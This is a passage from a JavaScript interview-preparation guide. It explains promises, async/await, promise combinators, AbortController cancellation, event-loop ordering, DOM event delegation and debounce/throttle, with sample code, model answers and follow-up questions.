What interviewers are really testing: Can you explain why promises are always async? Can you write a basic polyfill from scratch? Do you understand chaining vs nesting? Senior candidates should know the difference between microtask scheduling and macrotask scheduling for promises.Red flag answer: Writing a polyfill where .then() calls the callback synchronously when the promise is already resolved. This violates the spec and creates unpredictable ordering bugs.Follow-up questions:
  • “What happens if you return a promise from inside a .then() callback?” — The outer promise waits for the inner promise to settle before resolving. This is called “resolution unwrapping” or “thenable assimilation.” The spec says: if onFulfill returns a value with a .then method (a “thenable”), call .then on it and adopt its eventual state. This is how fetch(url).then(r => r.json()).then(data => ...) works — r.json() returns a promise, and the chain waits for it.
  • “Why do unhandled promise rejections crash Node.js?” — Since Node 15, unhandled rejections cause the process to exit with code 1 by default. This is because silent rejections hide bugs — a rejected promise with no .catch() means an error was swallowed. You can listen for process.on('unhandledRejection') to handle them globally. In browsers, you get a console warning but no crash. Always add .catch() or use try/catch with async/await.
  • “Explain the difference between queueMicrotask(), Promise.resolve().then(), and setTimeout() for scheduling.”queueMicrotask() directly adds to the microtask queue (cleanest API, no promise overhead). Promise.resolve().then() does the same but creates a promise object first (slight allocation overhead). setTimeout(fn, 0) adds to the macrotask queue — it runs AFTER all microtasks and the next render. Use queueMicrotask for async-but-ASAP work, setTimeout when you intentionally want to yield to the browser for rendering.
Structured Answer Template (Promise Internals)
  1. State: three-state machine (pending -> fulfilled/rejected) that settles once.
  2. Key invariant: callbacks are always scheduled as microtasks, never sync.
  3. .then returns a new promise; returning a thenable triggers resolution unwrapping.
  4. Errors propagate until a .catch handles them — unhandled rejections are loud.
  5. Mention Promise.withResolvers() as the modern “deferred” pattern.
Big Word Alert — thenable: any object with a .then method, which Promise treats as if it were a Promise. Fetch-polyfills, jQuery deferreds, and many old libraries are thenables.
Big Word Alert — resolution unwrapping: when a handler returns a promise, the outer promise adopts that promise’s eventual state instead of resolving to the promise object itself. This is why chains can be flat instead of nested.
Real-World Example: Meta’s internal GraphQL client uses a thenable wrapper around its data loader so callers can await loader.load(id) without triggering an extra microtask hop. The thenable protocol makes the wrapper interoperable with any async/await code without materializing a full Promise object per load.Follow-up Q&A Chain:
  • Q: What happens if you call resolve() twice on a promise?
  • A: The second call is ignored silently. A promise transitions state exactly once — subsequent resolves and rejects no-op.
  • Q: Is there a way to cancel a Promise?
  • A: No — Promises have no cancel semantics by design. Cancellation is implemented externally via AbortController/AbortSignal, which your operation has to honor.
  • Q: Why don’t unhandled rejections crash the browser like Node does?
  • A: Browsers surface them via unhandledrejection events and console warnings, but killing the tab would be catastrophic for UX. Node processes are typically short-lived and server-side, so failing fast is the right tradeoff.
Further Reading
Answer: Async/await is syntactic sugar over Promises that makes asynchronous code read like synchronous code. Under the hood, an async function is a function that always returns a Promise, and await pauses execution of that function (not the thread) until the awaited promise settles.How it actually works (the generator connection): Before async/await existed, developers used generators + a runner (like co) to achieve the same thing. The generator yielded a promise, the runner waited for it, then resumed the generator with the resolved value. async/await bakes this pattern into the language.
// What you write:
async function fetchUser(id) {
    const response = await fetch(`/api/users/${id}`);
    const user = await response.json();
    return user;
}

// What the engine effectively does (simplified):
function fetchUser(id) {
    return new Promise((resolve, reject) => {
        const gen = function*() {
            const response = yield fetch(`/api/users/${id}`);
            const user = yield response.json();
            return user;
        }();
        function step(result) {
            if (result.done) return resolve(result.value);
            Promise.resolve(result.value).then(
                val => step(gen.next(val)),
                err => step(gen.throw(err))
            );
        }
        step(gen.next());
    });
}
The sequential vs parallel mistake — this costs real money:
// BAD: Sequential -- total time = fetchUser + fetchOrders + fetchReviews
async function loadDashboard(userId) {
    const user = await fetchUser(userId);       // 200ms
    const orders = await fetchOrders(userId);   // 300ms
    const reviews = await fetchReviews(userId); // 150ms
    return { user, orders, reviews };
    // Total: 650ms -- each waits for the previous to finish
}

// GOOD: Parallel -- total time = max(fetchUser, fetchOrders, fetchReviews)
async function loadDashboard(userId) {
    const [user, orders, reviews] = await Promise.all([
        fetchUser(userId),     // 200ms
        fetchOrders(userId),   // 300ms (starts immediately)
        fetchReviews(userId),  // 150ms (starts immediately)
    ]);
    return { user, orders, reviews };
    // Total: 300ms -- 2.2x faster! At scale, this adds up.
}

// NUANCED: Sometimes you need partial parallelism
async function checkout(userId) {
    const user = await fetchUser(userId); // Need user first
    // These two depend on user but not on each other:
    const [cart, address] = await Promise.all([
        fetchCart(user.cartId),
        fetchAddress(user.addressId),
    ]);
    return { user, cart, address };
}
Error handling patterns in production:
// Pattern 1: try/catch (most common)
async function fetchData() {
    try {
        const res = await fetch('/api/data');
        if (!res.ok) throw new Error(`HTTP ${res.status}`);
        return await res.json();
    } catch (err) {
        // err could be network failure OR HTTP error OR JSON parse error
        logger.error('fetchData failed', { error: err.message });
        throw err; // Re-throw for caller to handle
    }
}

// Pattern 2: Go-style tuple (avoids try/catch nesting)
async function safeAsync(promise) {
    try {
        const data = await promise;
        return [data, null];
    } catch (err) {
        return [null, err];
    }
}
const [user, err] = await safeAsync(fetchUser(id));
if (err) return handleError(err);
What interviewers are really testing: Do you know the sequential vs parallel pitfall? Can you explain what async actually returns and how await suspends execution without blocking the thread? Senior candidates should discuss error handling strategies and when NOT to use async/await (e.g., streams, event emitters).Red flag answer: “Async/await replaces promises.” No — async/await IS promises. Every async function returns a promise. await unwraps a promise. You need to understand promises to debug async/await code.Follow-up questions:
  • “What happens if you forget await on a promise?” — The function continues executing with the promise object instead of the resolved value. if (fetchUser(id)) is always truthy because a Promise object is truthy, even if it will reject. This is a common source of bugs — you get [object Promise] in string concatenations or true in conditionals. ESLint’s no-floating-promises (via typescript-eslint) catches this.
  • “Can you use await at the top level of a file?” — Only in ES modules (not CommonJS). Top-level await pauses the module’s evaluation until the promise settles. This means any module that imports a module with top-level await will also wait. Use it for initialization (reading config, connecting to DB) but be aware it blocks the entire module graph — do not await long operations at the top level.
  • “How does async/await interact with the event loop differently than raw promises?” — They produce the same microtask behavior. However, each await introduces a microtask checkpoint. await x; await y; await z; runs through 3 microtask cycles. A raw chain .then(x).then(y).then(z) also runs through 3 microtask cycles. The performance is identical. The difference is purely ergonomic — async/await is easier to read and debug (stack traces preserve the async call chain in modern engines).
What weak candidates say:
  • “Async/await replaces promises.” It IS promises — every async function returns a promise.
  • Write sequential await calls when the operations are independent (the 650ms vs 300ms mistake).
  • Do not handle errors in async code or use bare .catch() with no error handling logic.
  • Think await pauses the entire program, not just the async function.
What strong candidates say:
  • Immediately identify the sequential vs parallel pitfall and default to Promise.all for independent operations.
  • Explain the generator connection: await is syntactic sugar for yielding a promise to an internal runner.
  • Know that for await...of exists for async iterables and explain when it is appropriate (streaming responses, reading from async generators).
  • Discuss the Go-style [data, err] tuple pattern as an alternative to try/catch nesting for cleaner error handling.
  • Mention Promise.withResolvers() (ES2024) for cases where you need to resolve/reject a promise from outside its executor.
Follow-up chain:
  1. “You mentioned Promise.all for parallel operations. What happens to the other promises if one rejects?” — The rejected promise’s error is returned immediately, but the OTHER promises keep running to completion in the background. They are NOT cancelled. If you need true cancellation, pass an AbortSignal to each operation and abort on first failure.
  2. “How would you implement a Promise.all with a concurrency limit — say, at most 3 concurrent requests out of 100?” — Maintain a pool of N active promises. When one resolves, start the next from the queue. Libraries like p-limit or p-queue do this. A simple implementation: const limit = pLimit(3); const results = await Promise.all(urls.map(url => limit(() => fetch(url)))).
  3. “What is Promise.withResolvers() and when would you use it?” — ES2024 addition. Returns { promise, resolve, reject } so you can resolve a promise from outside its executor. Useful when integrating callback-based APIs or event emitters: const { promise, resolve } = Promise.withResolvers(); emitter.once('data', resolve); const data = await promise;. Before this, you had to use the “deferred” pattern with variables declared outside the executor.
Structured Answer Template (async/await)
  1. State: async always returns a Promise; await pauses only that function.
  2. Mental model: sugar over .then chains (or generator + runner).
  3. Show the sequential vs parallel pitfall and default to Promise.all for independent ops.
  4. Cover error handling: try/catch vs Go-style tuple.
  5. Close with caveats: top-level await blocks module graphs; forgotten await.
Big Word Alert — coroutine: a function that can suspend and resume — exactly what async functions are. Helpful when comparing to Python’s async def or C#‘s async/await.
Real-World Example: Airbnb’s search API handler historically called await getUser(), then await getPreferences(), then await getLocale() sequentially — about 900ms total. Moving those three independent fetches into Promise.all cut p50 to roughly 350ms and was the single biggest latency win in that endpoint’s history.Follow-up Q&A Chain:
  • Q: Does await yield to other JS code, or does it block?
  • A: It yields — the function suspends and returns control to the event loop. Other tasks and microtasks can run. The function resumes on a microtask after its awaited promise settles.
  • Q: What’s the catch with top-level await?
  • A: Consumers of your module now wait on your top-level promise before their own initialization code runs. A slow top-level await can cascade across the dependency graph.
  • Q: Why might for await...of be preferable to Promise.all for a stream of items?
  • A: Promise.all materializes everything into memory and starts all operations at once. for await...of processes one value at a time as they arrive — better for backpressure, memory, and partial-result scenarios.
Further Reading
Answer: These four combinators handle multiple promises differently and choosing the wrong one is a production bug I have seen repeatedly. Here is the real decision framework:
CombinatorBehaviorSettles whenReturns
Promise.allFail-fastALL fulfill OR first rejectArray of values OR first rejection reason
Promise.allSettledWait for everythingALL settle (fulfill or reject)Array of {status, value/reason} objects
Promise.raceFirst to settle winsFirst promise settles (either way)Value/reason of first settled promise
Promise.anyFirst success winsFirst fulfill OR all rejectValue of first fulfillment OR AggregateError
When to use each — real production scenarios:
// Promise.all -- Use when ALL results are required and any failure is fatal
// Example: Loading dashboard that needs user + permissions + config
const [user, perms, config] = await Promise.all([
    fetchUser(id),
    fetchPermissions(id),
    fetchConfig()
]);
// If ANY fails, the dashboard cannot render -- fail-fast is correct behavior

// Promise.allSettled -- Use when you want partial results despite failures
// Example: Sending notifications to multiple channels
const results = await Promise.allSettled([
    sendEmail(user),
    sendSMS(user),
    sendPush(user),
]);
const failures = results.filter(r => r.status === 'rejected');
if (failures.length) logger.warn(`${failures.length}/3 notifications failed`);
// You still want the successful ones to go through

// Promise.race -- Use for timeouts or "first response wins"
// Example: Timeout pattern
async function fetchWithTimeout(url, ms) {
    return Promise.race([
        fetch(url),
        new Promise((_, reject) =>
            setTimeout(() => reject(new Error('Timeout')), ms)
        )
    ]);
}
// Warning: the losing promise still runs! fetch continues even after timeout
// Use AbortController (see below) to actually cancel it

// Promise.any -- Use when you have redundant sources
// Example: Fastest CDN wins
const asset = await Promise.any([
    fetchFromCDN1(assetUrl),
    fetchFromCDN2(assetUrl),
    fetchFromCDN3(assetUrl),
]);
// Individual failures are ignored -- only fails if ALL three fail
// Throws AggregateError with all rejection reasons
The subtle Promise.all gotcha: If one promise rejects, the other promises keep running — they are NOT cancelled. The rejected result is returned immediately, but background work continues consuming resources. This is why AbortController matters.What interviewers are really testing: Can you pick the right combinator for a given scenario? Do you understand the fail-fast vs wait-for-all tradeoff? Senior candidates should mention that losing promises in race are not cancelled and explain when allSettled is strictly better than wrapping all in try/catch.Red flag answer: “I just use Promise.all for everything and wrap it in try/catch.” This swallows partial successes. If 2 out of 3 notifications succeed, you want to know that — allSettled is the correct choice.Follow-up questions:
  • “How would you implement Promise.all from scratch?” — Create a new Promise. Track a counter and results array. For each input promise, .then() stores the result at the correct index and increments the counter. When the counter equals the input length, resolve with the results array. On any rejection, reject immediately. Edge case: if the input array is empty, resolve immediately with [].
  • “What is AggregateError and when do you encounter it?”AggregateError is thrown by Promise.any when ALL promises reject. It has an errors property (array of all rejection reasons). It is also used by some validation libraries. Before ES2021, there was no standard way to represent multiple errors.
  • “Can you cancel the losing promises in Promise.race?” — Not with promises alone. Use AbortController: pass a signal to all fetch calls, and when the race resolves, call controller.abort() to cancel the remaining ones. This is the proper pattern for timeouts and redundant requests.
Structured Answer Template (Promise Combinators)
  1. Lead with the decision table: fail-fast vs wait-for-all vs first-to-settle vs first-success.
  2. Map each to a concrete use case (dashboard load, notification fan-out, timeout race, CDN fallback).
  3. Call out the “promises keep running after rejection” gotcha.
  4. Finish with AbortController integration for real cancellation.
Big Word Alert — fail-fast: a combinator that rejects immediately on the first failure instead of waiting for all operations. Promise.all is fail-fast; Promise.allSettled is not. Name the term when defending a choice between them.
Big Word Alert — AggregateError: an error type (ES2021) that carries an errors array of multiple underlying causes. Promise.any throws it when every input rejects.
Real-World Example: Google Search’s frontend fetches from multiple suggestion backends in parallel and uses a Promise.any-style pattern: the fastest backend to return a non-empty list wins, the rest are aborted via AbortController. Before this, the UI waited for the slowest backend (the 99th percentile pulled suggestion latency above 400ms). Switching from Promise.all to a first-success strategy moved p99 suggestion latency back under the 200ms interaction budget.Follow-up Q&A Chain:
  • Q: If I wrap Promise.all in try/catch, why is Promise.allSettled still better for fan-out notifications?
  • A: all throws on the first rejection and you lose visibility into which of the remaining ones succeeded. allSettled returns a per-promise status array so you can log “2 of 3 channels delivered” and retry only the failed ones.
  • Q: When would Promise.race bite you in production?
  • A: If a losing promise holds a resource (open socket, DB transaction), race resolving does not free it. You need AbortController wired to cancel, or the losers will finish in the background and may commit stale writes.
  • Q: Why is Promise.any useful for CDN fallback?
  • A: You can kick off fetches to three mirrors simultaneously and take the first successful response. Unlike race, a 500 from the fastest mirror does not poison the result — any keeps waiting for a success.
Answer: AbortController is the standard Web API for cancelling async operations. It solves a fundamental problem: Promises have no built-in cancellation mechanism. Once a promise is created, it will settle eventually — you cannot stop it. AbortController provides a signaling mechanism that cooperative APIs (like fetch) respect.How it works internally: AbortController has a signal property (an AbortSignal object). When you call controller.abort(), the signal fires an abort event and its aborted property becomes true. APIs that accept a signal check this property and abort their operation.
// Basic usage
const controller = new AbortController();

fetch('/api/large-dataset', { signal: controller.signal })
    .then(res => res.json())
    .catch(err => {
        if (err.name === 'AbortError') {
            console.log('Request was cancelled');
        } else {
            throw err; // Re-throw real errors
        }
    });

// Cancel after 5 seconds
setTimeout(() => controller.abort(), 5000);
Real-world patterns:
// Pattern 1: Race search -- cancel previous request on new keystroke
let currentController = null;

async function search(query) {
    // Cancel the previous request
    if (currentController) currentController.abort();
    currentController = new AbortController();

    try {
        const res = await fetch(`/api/search?q=${query}`, {
            signal: currentController.signal
        });
        return await res.json();
    } catch (err) {
        if (err.name === 'AbortError') return null; // Expected, ignore
        throw err;
    }
}

// Pattern 2: React useEffect cleanup
useEffect(() => {
    const controller = new AbortController();

    fetch('/api/data', { signal: controller.signal })
        .then(res => res.json())
        .then(data => setData(data))
        .catch(err => {
            if (err.name !== 'AbortError') setError(err);
        });

    return () => controller.abort(); // Cleanup on unmount or re-render
}, [dependency]);

// Pattern 3: AbortSignal.timeout() -- built-in timeout (modern browsers)
fetch('/api/data', { signal: AbortSignal.timeout(5000) });
// Automatically aborts after 5 seconds -- no manual controller needed

// Pattern 4: Combining multiple signals
const timeout = AbortSignal.timeout(5000);
const manual = new AbortController();
fetch('/api/data', {
    signal: AbortSignal.any([timeout, manual.signal])
});
Beyond fetch — AbortController works with:
  • addEventListener (pass signal option — listener auto-removes on abort)
  • ReadableStream.pipeTo()
  • Node.js fs operations, child_process, timers/promises
  • Any custom async API you build (check signal.aborted or listen for abort event)
What interviewers are really testing: Do you handle race conditions in UIs (search-as-you-type, page navigation during fetch)? Do you clean up properly in React components? Senior candidates should know AbortSignal.timeout() and AbortSignal.any().Red flag answer: “I just ignore cancelled requests” without actually cancelling them. Ignoring the result is not cancelling the request — the server still processes it, the network still transfers bytes. True cancellation via AbortController saves bandwidth and server resources.Follow-up questions:
  • “How would you implement request cancellation without AbortController (e.g., in older environments)?” — Use a “cancelled” flag: set a boolean before making the request, check it in the .then() handler. If cancelled, discard the result. For XMLHttpRequest, call xhr.abort(). This is the pre-AbortController pattern and it is still common in legacy codebases.
  • “What happens to the server-side when you abort a fetch?” — The browser closes the TCP connection. Whether the server notices depends on the framework — Express/Koa emit a close event on the request object. If the server has already started expensive processing, it may continue unless it checks for client disconnection. For long operations, implement server-side cancellation tokens.
  • “How does AbortController interact with Promise.race for implementing timeouts?” — The cleanest modern pattern is AbortSignal.timeout(ms) which handles both the timing and the abort signal in one API. Before that, you would Promise.race([fetch(url, {signal}), timeout]) and call controller.abort() when the timeout wins. The abort actually cancels the fetch instead of just ignoring it.
Structured Answer Template (AbortController)
  1. Frame the problem: Promises have no native cancellation — once created, they will settle.
  2. Explain the signal/controller split and the AbortError contract.
  3. Show the three canonical patterns: typeahead cancel, React effect cleanup, timeout.
  4. Name the modern helpers: AbortSignal.timeout() and AbortSignal.any().
  5. Close with “cancel the request, do not just ignore the result.”
Big Word Alert — cooperative cancellation: a model where the caller signals “please stop” and the callee is responsible for checking and honoring it. This is how AbortController works — fetch cooperates by checking signal.aborted. Contrast with “preemptive cancellation” (Java Thread.stop()), which is unsafe and generally unavailable in JS.
Real-World Example: Dropbox’s search-as-you-type UI used to stack up fetches: typing “design” would fire five requests (“d”, “de”, “des”, “desi”, “design”) and display whichever returned last — which was sometimes the stale one for “des”. Wiring every search through an AbortController that aborts on each new keystroke made the latest response always win, eliminated a flickering-result bug, and cut server load by roughly 80% on the search endpoint.Follow-up Q&A Chain:
  • Q: Does calling .abort() actually stop the server from processing the request?
  • A: Only if the server is watching for a client disconnect. The browser closes the TCP connection; frameworks like Express emit a close event on the request. Long-running handlers that do not check this will keep running.
  • Q: How do you combine a manual cancel button with a 10-second timeout?
  • A: AbortSignal.any([controller.signal, AbortSignal.timeout(10_000)]). Aborting either source aborts the request.
  • Q: Can addEventListener be cleaned up with an AbortSignal?
  • A: Yes — el.addEventListener('click', fn, &lcub; signal: controller.signal &rcub;). Calling abort() removes the listener. This replaces a lot of manual removeEventListener bookkeeping.
Further Reading
Answer: This is the classic “predict the output” interview question. If you can explain this correctly, you understand the event loop.
console.log(1);
setTimeout(() => console.log(2), 0);
Promise.resolve().then(() => console.log(3));
console.log(4);
Output: 1, 4, 3, 2Step-by-step execution:
  1. console.log(1) — synchronous, runs immediately. Output: 1
  2. setTimeout(cb, 0) — registers callback in the macrotask queue. Does NOT run now.
  3. Promise.resolve().then(cb) — promise is already resolved, so callback goes to the microtask queue. Does NOT run now.
  4. console.log(4) — synchronous, runs immediately. Output: 4
  5. Call stack is now empty. Event loop checks microtask queue first.
  6. Microtask: console.log(3) runs. Output: 3
  7. Microtask queue is empty. Event loop picks one macrotask.
  8. Macrotask: console.log(2) runs. Output: 2
Harder version — test yourself:
console.log('A');

setTimeout(() => console.log('B'), 0);

new Promise((resolve) => {
    console.log('C');   // This runs SYNCHRONOUSLY (inside the executor)
    resolve();
}).then(() => console.log('D'))
  .then(() => console.log('E'));

Promise.resolve().then(() => {
    console.log('F');
    setTimeout(() => console.log('G'), 0);
});

console.log('H');

// Output: A, C, H, D, F, E, G, B
// A -- sync
// C -- sync (Promise executor runs synchronously!)
// H -- sync
// D -- microtask (first .then of first promise)
// F -- microtask (first .then of second promise)
// E -- microtask (chained .then, scheduled after D ran)
// G -- macrotask (scheduled from within microtask F)
// B -- macrotask (the original setTimeout)
The gotcha: The Promise constructor’s executor function runs synchronously. Only the .then() callback is asynchronous. Many candidates get C wrong.What interviewers are really testing: Can you trace through mixed sync/async code and predict the exact output order? Do you know that microtasks drain completely (including newly added ones) before any macrotask runs?Red flag answer: Getting the basic order wrong. Also: saying setTimeout(fn, 0) runs “immediately” or “with no delay” — it has a minimum delay of ~4ms in browsers due to spec clamping after 5 nested calls.Follow-up questions:
  • “What if a .then() callback throws? Where does the error go?” — The returned promise rejects. If there is no .catch() downstream, it becomes an unhandled rejection. In Node.js, this crashes the process (since Node 15). In browsers, you get a console warning and a unhandledrejection event. The error does NOT propagate to the macrotask or the global error handler — it stays in the promise chain.
  • “What is the minimum delay for setTimeout(fn, 0) and why?” — The HTML spec says: after 5 nested setTimeout calls, the browser clamps the delay to a minimum of 4ms. In inactive/background tabs, browsers clamp to 1000ms or more to save battery. setImmediate (IE/Node) or MessageChannel can bypass the 4ms minimum in some environments.
  • “If you schedule 10,000 microtasks, what happens to the UI?” — The browser cannot render until the microtask queue is fully drained. 10,000 microtasks could take 10-50ms depending on complexity, causing a visible frame drop (missed 60fps deadline). This is microtask starvation — macrotasks and rendering are blocked. If you need to do 10,000 small tasks without blocking rendering, batch them with requestAnimationFrame or requestIdleCallback or setTimeout(fn, 0) between batches.
Structured Answer Template (Microtask vs Macrotask)
  1. Define the two queues: microtask drains to empty between every macrotask.
  2. Walk the sample code line by line: sync first, then microtasks, then one macrotask.
  3. Call out the Promise-executor-runs-synchronously trap.
  4. Close with starvation risks: infinite microtask recursion blocks rendering.
Big Word Alert — microtask checkpoint: the moment in the HTML event loop spec when the microtask queue is drained. It happens after every script execution, between callbacks, and before rendering. Reference it to explain why Promise.then always runs before the next setTimeout.
Big Word Alert — starvation: when a lower-priority queue never gets a chance to run because a higher-priority one keeps refilling itself. Infinite microtask recursion starves both macrotasks and rendering.
Real-World Example: A React codebase at a fintech startup had a memoized selector that accidentally scheduled a microtask on every useSelector read. Under heavy Redux updates (order book ticks), the microtask queue never emptied — the browser refused to paint, and the tab appeared frozen for 2-3 seconds at a time. The fix was a single queueMicrotask(() => ...) replaced with requestAnimationFrame, and the UI went from unusable to smooth 60fps.Follow-up Q&A Chain:
  • Q: What runs first: a resolved Promise’s .then or a queueMicrotask callback scheduled later?
  • A: Both live in the same microtask queue, so FIFO order wins. The .then callback was scheduled first, so it runs first.
  • Q: Can you starve rendering with microtasks? Give me the recipe.
  • A: function loop() &lcub; Promise.resolve().then(loop); &rcub; — each microtask schedules another, the queue never empties, the browser cannot paint or run macrotasks. The tab appears frozen.
  • Q: Where does queueMicrotask sit versus setTimeout(fn, 0)?
  • A: queueMicrotask runs in the current microtask checkpoint before any macrotask. setTimeout(fn, 0) runs as the next macrotask — after the microtask queue drains and potentially after a render.
Further Reading

3. DOM & Browser APIs

Answer: DOM events travel through three phases, and understanding this is essential for building performant UIs. Most developers only know about bubbling, but the full picture matters.The three phases of every DOM event:
  1. Capture Phase — The event travels DOWN from window -> document -> html -> body -> … -> parent of target. Listeners registered with { capture: true } fire here.
  2. Target Phase — The event reaches the actual element that was clicked/interacted with. Both capture and bubble listeners on the target fire in registration order.
  3. Bubble Phase — The event travels BACK UP from target -> parent -> … -> body -> html -> document -> window. This is the default — listeners without capture: true fire here.
Event Delegation — the performance pattern: Instead of attaching 1000 listeners to 1000 list items, attach ONE listener to the parent and inspect e.target:
// BAD: 1000 listeners, 1000 closures, all need cleanup on re-render
document.querySelectorAll('.item').forEach(item => {
    item.addEventListener('click', handleClick);
});

// GOOD: 1 listener, handles all current AND future children
document.querySelector('.list').addEventListener('click', (e) => {
    const item = e.target.closest('.item'); // Find the actual item
    if (!item) return; // Click was not on an item
    handleClick(item.dataset.id);
});
// Benefits: less memory, handles dynamically added items, one cleanup
stopPropagation vs stopImmediatePropagation vs preventDefault:
  • stopPropagation() — Stops the event from continuing to the next element in the phase. Other listeners on the SAME element still fire.
  • stopImmediatePropagation() — Stops the event AND prevents other listeners on the same element from firing.
  • preventDefault() — Prevents the browser’s default action (form submit, link navigation) but does NOT stop propagation. These are orthogonal.
What interviewers are really testing: Do you know delegation is not just a “nice pattern” but a performance necessity for large lists? Do you understand closest() for delegation with nested elements? Senior candidates should explain when to use capture phase (e.g., intercepting events before they reach children).Red flag answer: “I use stopPropagation() everywhere to prevent bugs.” Overusing it breaks event delegation, analytics tracking, and any ancestor component that needs to know about the event. It is a code smell in React apps.Follow-up questions:
  • “When would you use the capture phase instead of the bubble phase?” — When you need to intercept an event BEFORE it reaches a child element. Example: a modal overlay that should capture all clicks before any button inside it processes them. Also useful for focus management — focusin/focusout bubble but focus/blur do not, so capturing is needed for focus/blur delegation.
  • “How does React’s event system relate to native DOM events?” — React uses a synthetic event system with delegation at the root. Since React 17, events are delegated to the root DOM node (not document). React normalizes events across browsers and pools event objects for performance (though pooling was removed in React 17). e.nativeEvent gives you the original DOM event.
  • “What is the performance difference between 1000 individual listeners vs 1 delegated listener?” — Each addEventListener allocates a listener object and often a closure. 1000 listeners can use 100KB+ of memory and slow down GC. Delegation uses ~100 bytes. The bigger cost is in setup/teardown time — important for dynamic lists (virtual scrolling, infinite scroll) where elements are frequently added/removed.
Structured Answer Template (Event Delegation)
  1. Name all three phases: capture, target, bubble.
  2. Contrast the three stopping methods (stopPropagation, stopImmediatePropagation, preventDefault).
  3. Show the delegation pattern with closest() and explain why it scales.
  4. Close with a framework tie-in (React synthetic events) and a gotcha (non-bubbling events like focus).
Big Word Alert — event delegation: attaching one listener to an ancestor to handle events from any number of descendants, using e.target to identify the actual source. The canonical performance pattern for large, dynamic lists.
Big Word Alert — synthetic event: a framework-normalized event object (React’s SyntheticEvent) that wraps the native event and smooths cross-browser differences. React 17+ delegates to the root DOM node, not document.
Real-World Example: GitHub’s repository file tree once attached a click listener to every row. On large monorepos (50k+ files via Turbo Frames), the tab used 400MB+ and scroll stuttered. Rewriting to a single delegated listener on the file-tree container dropped memory roughly 10x and fixed the jank — same logic, better performance model.Follow-up Q&A Chain:
  • Q: Why do focus and blur need special handling for delegation?
  • A: They do not bubble. You must either use the capture phase or switch to focusin/focusout, which do bubble and were added specifically for delegation.
  • Q: e.target vs e.currentTarget — when are they different?
  • A: e.target is the element that originated the event. e.currentTarget is the element the listener is attached to. In delegation, they differ on bubble: target is the clicked item, currentTarget is the container.
  • Q: Why is calling stopPropagation on every handler a code smell?
  • A: It silently breaks any ancestor that relies on the event bubbling up — analytics, router links, modal close handlers. It is a blunt instrument that hides coupling between components.
Further Reading
Answer: Both are rate-limiting patterns, but they solve different problems. The way I explain it: debounce says “wait until the user stops doing something,” throttle says “do it at most once every N milliseconds regardless.”Debounce — “Group rapid calls, execute after silence”:
  • The function only fires after X ms of no new calls
  • Every new call resets the timer
  • Use case: Search-as-you-type (fire API call only after user stops typing for 300ms), window resize handlers, auto-save
Throttle — “Rate limit to at most once per interval”:
  • The function fires immediately, then ignores calls for X ms
  • Guarantees execution at regular intervals during continuous action
  • Use case: Scroll position tracking, resize-based layout recalculations, rate-limiting API calls, drag events
// Production-quality Debounce with cancel and flush
function debounce(fn, delay) {
    let timeoutId;
    const debounced = (...args) => {
        clearTimeout(timeoutId);
        timeoutId = setTimeout(() => fn(...args), delay);
    };
    debounced.cancel = () => clearTimeout(timeoutId);
    debounced.flush = (...args) => {
        clearTimeout(timeoutId);
        fn(...args);
    };
    return debounced;
}

// Production-quality Throttle (leading + trailing)
function throttle(fn, limit) {
    let inThrottle = false;
    let lastArgs = null;
    return (...args) => {
        if (!inThrottle) {
            fn(...args); // Leading call
            inThrottle = true;
            setTimeout(() => {
                inThrottle = false;
                if (lastArgs) {
                    fn(...lastArgs); // Trailing call with last args
                    lastArgs = null;
                }
            }, limit);
        } else {
            lastArgs = args; // Save latest args for trailing call
        }
    };
}

// Usage
const handleSearch = debounce(query => fetchResults(query), 300);
const handleScroll = throttle(() => updateScrollPosition(), 100);
The leading vs trailing distinction:
  • Leading debounce: fires on the first call, then waits for silence. Good for button clicks (immediate response, ignore double-clicks).
  • Trailing debounce (default): fires after silence. Good for search input.
  • Leading throttle (default): fires immediately, then throttles. Good for scroll.
  • Trailing throttle: also fires the last call after the throttle period. Important for getting the final scroll position.
What interviewers are really testing: Can you implement both from scratch? Do you know WHEN to use each? The classic wrong choice: debouncing scroll events (misses intermediate positions) or throttling search input (fires too many API calls).Red flag answer: Confusing debounce and throttle, or not knowing that lodash’s _.debounce has leading, trailing, and maxWait options that combine both patterns.Follow-up questions:
  • “Your debounced search fires after 300ms of silence, but users on slow connections see a spinner for 800ms total. How do you improve perceived performance?” — Use “optimistic debounce”: show cached results immediately from a local index, then update when the API responds. Or reduce debounce to 150ms and add a loading skeleton. Another approach: debounce with maxWait (lodash) — fire at most every 1s even during continuous typing, so users see partial results.
  • “How would you implement a debounce that handles async functions and returns the promise?” — Return a promise from the debounced wrapper and resolve/reject it when the actual function runs. Track the latest promise so callers can await: const result = await debouncedSearch(query). Cancel pending promises when a new call comes in by rejecting with a custom CancelledError.
  • “What is requestAnimationFrame throttling and when is it better than setTimeout-based throttling?” — rAF-based throttling fires once per frame (~16.6ms at 60fps). It is ideal for visual updates (scroll-driven animations, parallax) because it syncs with the browser’s paint cycle. setTimeout-based throttling can fire between frames, causing wasted work or jank. Pattern: let ticking = false; onScroll(() => { if (!ticking) { requestAnimationFrame(() => { update(); ticking = false; }); ticking = true; } }).
Structured Answer Template (Debounce vs Throttle)
  1. One-liner: debounce waits for silence, throttle caps rate.
  2. Map each to a canonical use case (debounce = search typeahead, throttle = scroll/resize).
  3. Cover leading vs trailing variants and when they matter.
  4. Show production-quality code with cancel/flush.
  5. Close with the async/rAF nuances.
Big Word Alert — leading edge / trailing edge: whether the function fires on the first call of a burst (leading) or on the last one after the delay expires (trailing). Lodash exposes both flags; picking wrong is the source of “my button fires twice” or “my scroll handler misses the final position” bugs.
Real-World Example: Slack’s message composer debounces the draft-save API call at 800ms. Before they added maxWait, power users typing continuously for 30 seconds lost their draft if the tab crashed — no save had ever fired. Adding maxWait: 5000 guaranteed a save every five seconds even during uninterrupted typing, which bounded the worst-case data loss.Follow-up Q&A Chain:
  • Q: I debounced my scroll handler at 200ms and now the UI feels laggy. What went wrong?
  • A: Debounce was the wrong tool — you want throttle. Debounce means “run once the user stops scrolling,” which by definition misses every intermediate position. Throttle (or rAF-throttle) runs regularly during the scroll.
  • Q: How do you unit-test a debounced function?
  • A: Use fake timers (jest.useFakeTimers() or vi.useFakeTimers()). Call the debounced fn, advance time with jest.advanceTimersByTime(delay), then assert the inner fn was called.
  • Q: Why does lodash expose a maxWait option?
  • A: Pure debounce can delay forever under sustained input. maxWait forces a call every N ms regardless, bounding worst-case latency — important for autosave and analytics.
Further Reading
Answer: The Critical Rendering Path (CRP) is the sequence of steps the browser takes from receiving HTML to painting pixels on screen. Understanding it is the foundation of all web performance optimization.The pipeline:
  1. HTML parsing -> DOM Tree — The parser reads HTML bytes, converts to tokens, builds the DOM tree. This is incremental — the browser starts building the DOM before the full HTML arrives.
